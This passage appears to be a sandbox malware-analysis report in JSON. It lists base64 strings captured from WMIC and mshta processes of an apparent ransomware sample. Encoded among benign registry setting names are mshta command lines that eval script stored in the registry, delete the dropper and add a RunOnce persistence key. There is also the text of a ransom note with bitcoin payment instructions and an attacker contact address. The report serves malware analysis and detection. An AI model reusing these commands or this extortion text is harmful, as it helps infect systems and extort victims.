Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V1JJVEVBQkxF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVDb25zb2xlVw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V1MyXzMyLmRsbA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"V3MyXzMyTnVtSGFuZGxlQnVja2V0cw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V3MyXzMyU3BpbkNvdW50","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"WFNMLU1hcHBpbmdzLnhtbA==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"WFNMRk9STUFU","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"eHRWYWx1ZUxpc3QueHNs","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null}]},{"name":"mshta.exe","strings":[{"value":"ImphdmFzY3JpcHQ6ZXZhbChuZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpLlJlZ1JlYWQoJ0hLQ1VcXFNvZnR3YXJlXFxJWlhKW1xcQ1dCQlAnKSk7Y2xvc2UoKTsi","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6bz1uZXcgQWN0aXZlWE9iamVjdCgnU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QnKTtzZXRJbnRlcnZhbChmdW5jdGlvbigpe3RyeXtvLkRlbGV0ZUZpbGUoJ2RlZXAuZXhlJyk7Y2xvc2UoKX1jYXRjaChlKXt9fSwxMCk7Ig==","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null},{"value":"ImphdmFzY3JpcHQ6bz1uZXcgQWN0aXZlWE9iamVjdCgnV1NjcmlwdC5TaGVsbCcpO3g9bmV3IEFjdGl2ZVhPYmplY3QoJ1NjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0Jyk7c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXt0cnl7aT14LkdldEZpbGUoJ2RlZXAuZXhlJykuUGF0aDtvLlJlZ1dyaXRlKCdIS0NVXFxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVuT25jZVxcTE1lV0NGeVVYaFlCTFInLGkpO31jYXRjaChlKXt9fSwxMCk7Ig==","type":"Ansi","source":"Process Commandline","process":null,"filename":"mshta.exe","compromised":null,"detection_total":null,"total":null}]},{"name":"mshta.exe:2344","strings":[{"value":"JUFQUERBVEElXGRlZXAuZXhl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNjZXB0TGFuZ3VhZ2U=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRtaW5UYWJQcm9jcw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3cgUHJvZ3JhbW1hdGljIEN1dF9Db3B5X1Bhc3Rl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzIFVzZSBNeSBDb2xvcnM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzIFVzZSBNeSBGb250IEZhY2U=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzIFVzZSBNeSBGb250IFNpemU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIENvbG9y","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIENvbG9yIEhvdmVy","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIENvbG9yIFZpc2l0ZWQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW5jaG9yIFVuZGVybGluZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xlYW51cCBIVENz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q09NK0VuYWJsZWQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q1NTX0NvbXBhdA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGF0YUZpbGVQYXRo","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdF9Db2RlUGFnZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdF9JRUZvbnRTaXplUHJpdmF0ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdEFjY2Vzc1Blcm1pc3Npb24=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZSBTY3JpcHQgRGVidWdnZXI=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZSBWaXNpdGVkIEh5cGVybGlua3M=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUNhY2hpbmdPZlNTTFBhZ2Vz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVNjcmlwdERlYnVnZ2VySUU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGxheSBJbmxpbmUgSW1hZ2Vz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGxheSBJbmxpbmUgVmlkZW9z","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG9tYWluTGltaXQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RE9NU3RvcmFnZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ0RlbGF5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbERlbGF5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbEluc2V0","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbEludGVydmFs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlIEF1dG9JbWFnZVJlc2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlQW5jaG9yQ29udGV4dA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RXhwYW5kIEFsdCBUZXh0","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmlwc0FsZ29yaXRobVBvbGljeQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rm9yY2UgT2Zmc2NyZWVuIENvbXBvc2l0aW9u","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJhbWVNZXJnaW5n","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJhbWVUYWJXaW5kb3c=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsU2Vzc2lvbg==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVGaXhlZEZvbnROYW1l","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVGb250U2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVGb250U2l6ZVByaXZhdGU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SUVQcm9wRm9udE5hbWU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SW1hZ2UgUGF0aA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNUZXh0UGxhaW5Ib25vcmVk","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2UgSG90a2V5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGF5b3V0IEhvdGtleQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZUd1aWQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFjaGluZVRocm90dGxpbmc=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWF4aW11bUFsbG93ZWRBbGxvY2F0aW9uU2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWlzY0ZsYWdz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TW92ZSBTeXN0ZW0gQ2FyZXQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZV9UcmFuc2l0aW9ucw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGxheV9BbmltYXRpb25z","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGxheV9CYWNrZ3JvdW5kX1NvdW5kcw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpbnRfQmFja2dyb3VuZA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdmF0ZUtleUxpZmV0aW1lU2Vjb25kcw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlTWF4SXRlbXM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlUHVyZ2VJbnRlcnZhbFNlY29uZHM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VEZWZhdWx0QXV0aG5MZXZlbA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlUnBjRGxs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRmQ29udmVydGVyRmxhZ3M=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2Vzc2lvbk1lcmdpbmc=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvdyBpbWFnZSBwbGFjZWhvbGRlcnM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U21hcnREaXRoZXJpbmc=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U21vb3RoU2Nyb2xs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VGFiUHJvY0dyb3d0aA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VG90YWxMaW1pdA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlIEFuY2hvciBIb3ZlciBDb2xvcg==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlIFN0eWxlc2hlZXRz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlX0RsZ0JveF9Db2xvcnM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlQ2xlYXJUeXBl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VXNlVGhlbWVz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Fybk9uSW50cmFuZXQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2luZG93c0VkaXRpb24=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"WERvbWFpblJlcXVlc3Q=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Wm9vbURpc2FibGVk","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"mshta.exe:2328","strings":[{"value":"JUNMU0lEOiJDb250cm9sIFBhbmVsIChDYXRlZ29yeSkiJQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJDb250cm9sIFBhbmVsIiU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJJbnRlcm5ldCBFeHBsb3JlciIl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJJbnRlcm5ldCBFeHBsb3JlciIlIHswMDAyMTRFNi0wMDAwLTAwMDAtQzAwMC0wMDAwMDAwMDAwNDZ9IDB4RkZGRg==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJOZXR3b3JrIFBsYWNlcyAoV29ya2dyb3VwKSIl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJOZXR3b3JrIiU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JUNMU0lEOiJSZWN5Y2xlIEJpbiIl","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9hZFdpdGhvdXRDT00=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3VwcHJlc3Npb25Qb2xpY3k=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtMzI=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezAzMUU0ODI1LTdCOTQtNERDMy1CMTMxLUU5NDZCNDRDOERENX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezA0NzMxQjY3LUQ5MzMtNDUwQS05MEU2LTRBQ0QyRTk0MDhGRX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezA4NzVEQ0I2LUM2ODYtNDI0My05NDMyLUFEQ0NGMEI5RjJEN30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezExMDE2MTAxLUUzNjYtNEQyMi1CQzA2LTRBREEzMzVDODkyQn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezEzODUwOEJDLTFFMDMtNDlFQS05QzhGLUVBOUUxRDA1RDY1RH0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezQzMzZBNTRELTAzOEItNDY4NS1BQjAyLTk5QkI1MkQzRkI4Qn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezQ1MEQ4RkJBLUFEMjUtMTFEMC05OEE4LTA4MDAzNjFCMTEwM30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezU5MDMxQTQ3LTNGNzItNDRBNy04OUM1LTU1OTVGRTZCMzBFRX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezg5RDgzNTc2LTZCRDEtNEM4Ni05NDU0LUJFQjA0RTk0QzgxOX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezhGRDhCODhELTMwRTEtNEYyNS1BQzJCLTU1M0QzRDY1RjBFQX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezkzNDM4MTJFLTFDMzctNEE0OS1BMTJFLTRCMkQ4MTBEOTU2Qn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ezk4RDk5NzUwLTBCOEEtNEM1OS05MTUxLTU4OTA1MzY4M0Q3M30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0I0RkIzRjk4LUMxRUEtNDI4RC1BNzhBLUQxRjU2NTlDQkE5M30=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0JEN0EyRTdCLTIxQ0ItNDFCMi1BMDg2LUIzMDk2ODBDNkI3RX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0RBRjk1MzEzLUU0NEQtNDZBRi1CRTFCLUNCQUNFQTJDMzA2NX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0UzNDVGMzVGLTkzOTctNDM1Qy04Rjk1LTRFOTIyQzI2MjU5RX0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"e0VEMjI4RkRGLTlFQTgtNDg3MC04M0IxLTk2QjAyQ0ZFMEQ1Mn0=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null}]},{"name":"HOW TO RECOVER ENCRYPTED FILES.TXT","strings":[{"value":"J0J1eSBiaXRjb2lucycsIGFuZCBzZWxlY3QgdGhlIHNlbGxlciBieSBwYXltZW50IG1ldGhvZCBhbmQgcHJpY2U6","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KHRoZXkgYWRkIHRoZWlyIGZlZSB0byBvdXIpIG9yIHlvdSBjYW4gYmVjb21lIGEgdmljdGltIG9mIGEgc2NhbS4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBBbHNvIHlvdSBjYW4gZmluZCBvdGhlciBwbGFjZXMgdG8gYnV5IEJpdGNvaW5zIGFuZCBiZWdpbm5lcnMgZ3VpZGUgaGVyZTo=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBEZWNyeXB0aW9uIG9mIHlvdXIgZmlsZXMgd2l0aCB0aGUgaGVscCBvZiB0aGlyZCBwYXJ0aWVzIG1heSBjYXVzZSBpbmNyZWFzZWQgcHJpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBEbyBub3QgcmVuYW1lIGVuY3J5cHRlZCBmaWxlcy4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBEbyBub3QgdHJ5IHRvIGRlY3J5cHQgeW91ciBkYXRhIHVzaW5nIHRoaXJkIHBhcnR5IHNvZnR3YXJlLCBpdCBtYXkgY2F1c2UgcGVybWFuZW50IGRhdGEgbG9zcy4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"KiBUaGUgZWFzaWVzdCB3YXkgdG8gYnV5IGJpdGNvaW5zIGlzIExvY2FsQml0Y29pbnMgc2l0ZS4gWW91IGhhdmUgdG8gcmVnaXN0ZXIsIGNsaWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"MDE2QzhDRTY5MjNGODRENkRCMjYxRDUwRjBGQ0U4MjgzQzlGOUZBNTJCQUIzMTdE","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Mjk2MkRFMTg3OUUzOTE2NzNBNTM1NkIxNjk5QTdBRTk4Q0UzQTQwMkQyOTgwQjhGRDdCQkM4QzBEMEQ5MkQ3MjQ3RkNDRDkyNDQyQzcyMjEzM0NBNUMwQUE0MEYxMjg5RkYzRg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"MzU5QjI4MjYyQjc1Qjk1Qjg3MTFCRjQyNTQ3NzFCOEEyQzlERURGNTcxQjFFNkM2QTY1OUU4QjYzQkI5ODFFQjY1MTMwQjc3NDJENTFENDhCOEEzMEE2MjY0NDA2OEQ4RjZERQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"NkEwMjAwMDAwMDAwMDAwMDI3RjE3MTM5MUQ5MkM5MTE4MDMwMEMwMzVCOTI2RkJCRkZDNkQ4MzBGOTMwRTBDODVBODkwQzU3QTY3QzUyMTk5NTM3MTc1MzE3NUQzMkY3MjhFRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QWZ0ZXIgcGF5bWVudCB3ZSB3aWxsIHNlbmQgeW91IHRoZSBkZWNyeXB0aW9uIHRvb2wgdGhhdCB3aWxsIGRlY3J5cHQgYWxsIHlvdXIgZmlsZXMu","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QWxsIHlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZCBkdWUgdG8gYSBzZWN1cml0eSBwcm9ibGVtIHdpdGggeW91ciBQQy4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ZW50aW9uIQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"QmVmb3JlIHBheWluZyB5b3UgY2FuIHNlbmQgdXMgdXAgdG8gMyBmaWxlcyBmb3IgZnJlZSBkZWNyeXB0aW9uLg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Q0JGMEM1OTZFQTZCRTE1QjFFNjAxRTkxMEU0NDM4NTIwNENCNEUyNEIzMURDNjNCMkY0NUQxMDQ3MDFCMkIzRTU2NkJCMkI2Njg4MTExRTU2MTFFNjVBMjE4NTI4NkZEOEVBMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Q29udGFjdCB1cyB1c2luZyB0aGlzIGVtYWlsIGFkZHJlc3M6IG1yZGVlcEBwcm90b25tYWlsLmNvbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"RTVFRDcwRDQ3MkQzNjlBQTNDMzYyQkIyNDNFN0NFRkNEOUNDMzkyMjNFODdDQzhBQkIxNUJEOTk2RUUxRDY4ODVGRURGNERDQkE2NjM3MjNBNEIyNEU4NEVFRUM0NkE2QjZBRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"RjMzMzRDNjQ3MjZGNzBDRTNFNDkwRDRBQ0VCNDdCOUIzRDhENjcyQUI2M0Q3MkI0RkU4RTg0RjVCOTAyM0Y3QzZDNjNENDRCNEMyODM3QzA4QkFFNEYwMTVEMEMzQjExOTFBNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZSBkZWNyeXB0aW9uIGFzIGd1YXJhbnRlZSE=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"SG93IHRvIG9idGFpbiBCaXRjb2lucz8=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cDovL3d3dy5jb2luZGVzay5jb20vaW5mb3JtYXRpb24vaG93LWNhbi1pLWJ1eS1iaXRjb2lucw==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"aHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXlfYml0Y29pbnM=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Tm93IHlvdSBzaG91bGQgc2VuZCB1cyBlbWFpbCB3aXRoIHlvdXIgcGVyc29uYWwgaWRlbnRpZmllci4=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED 